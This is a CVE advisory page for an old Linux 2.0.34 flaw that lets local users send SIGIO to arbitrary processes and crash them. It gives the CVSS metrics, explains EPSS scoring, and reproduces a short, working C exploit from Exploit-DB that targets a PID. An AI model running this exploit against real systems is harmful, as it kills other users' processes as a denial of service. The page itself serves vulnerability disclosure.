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CVE Descriptions
Linux 2.0.34 does not properly prevent users from sending SIGIO signals to arbitrary processes, which allows local users to cause a denial of service by sending SIGIO to processes that do not catch it.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 2.1 | AV:L/AC:L/Au:N/C:N/I:N/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19085
Publication date : 1998-06-29 22h00 +00:00
Author : David Luyer
EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/111/info
A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.
*/
/* On non-glibc systems you must add
*
* #define O_ASYNC FASYNC
*/
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int s, p;
if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version 2.0.34
- Linux>>Linux_kernel >> Version 2.0.34 (Open CPE detail)
